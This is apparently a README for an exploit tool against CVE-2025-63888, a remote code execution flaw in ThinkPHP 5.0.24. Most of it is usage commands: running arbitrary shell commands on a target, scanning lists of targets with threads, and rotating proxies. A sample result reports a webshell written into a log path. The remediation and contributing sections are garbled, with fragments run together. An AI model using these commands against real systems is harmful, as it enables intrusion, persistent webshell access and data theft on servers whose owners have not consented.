
Security research tool for detecting and testing CVE-2025-63888 (ThinkPHP 5.0.24 File Inclusion RCE vulnerability)
A security research tool for detecting and testing the CVE-2025-63888 vulnerability in ThinkPHP 5.0.24, which allows Remote Code Execution through file inclusion attacks.
This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Only use this tool on systems you own or have explicit written permission to test.
CVE-2025-63888 is a critical Remote Code Execution vulnerability in ThinkPHP 5.0.24. The vulnerability exists in the read function located in thinkphp/library/think/template/driver/File.php, allowing attackers to execute arbitrary code through file inclusion attacks by manipulating the template path in the view() function.
CVSS Score: 9.8 (Critical)
Affected Version: ThinkPHP 5.0.24 (exact version)
Vulnerable File: thinkphp/library/think/template/driver/File.php
Vulnerable Function: read() method
# Clone the repository
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x cve_2025_63888_exploit.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py
# Install dependencies
pip install requests
# Single target
python3 cve_2025_63888_exploit.py -u http://target.com
# Execute custom command
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
# With threading for faster scanning
python3 cve_2025_63888_exploit.py -u http://target.com -t 5
# Verbose output for debugging
python3 cve_2025_63888_exploit.py -u http://target.com -v
# Single proxy
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
-u, --url Target URL
-f, --file File containing target URLs (one per line)
-c, --command Command to execute (default: id)
-t, --threads Number of threads (default: 1)
-o, --output Output file (default: uknf_results.json)
-v, --verbose Enable verbose logging
--proxy Proxy URL (e.g., http://127.0.0.1:8080)
--proxy-list File containing proxy URLs (one per line)
The script generates a JSON file with detailed results:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:05:35.763409",
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/index.php/index/index/view",
"webshell_created": true,
"webshell_path": "../../../runtime/log/2025/11/18.log"
}
view() functionIf you're using ThinkPHP 5.0.24:
Upgrade immediately:
Implement path validation:
view() function../, ..)Code-level fixes:
realpath() to ensure files are within allowed directoriespython3 cve_2025_63888_exploit.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"
# Single proxy
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
Contributions are welcome! Please feel free to submit a Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)If you encounter any issues or have suggestions, please open an issue on GitHub.
This project is licensed under the MIT License - see the LICENSE file for details.
If you find this tool useful, please consider giving it a star on GitHub!
This tool is provided for educational and authorized security testing purposes only. The authors are not responsible for any misuse or damage caused by this program. Users are responsible for ensuring they have proper authorization before testing any systems.
If you find this tool useful and would like to support the project:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Thank you for your support! 🙏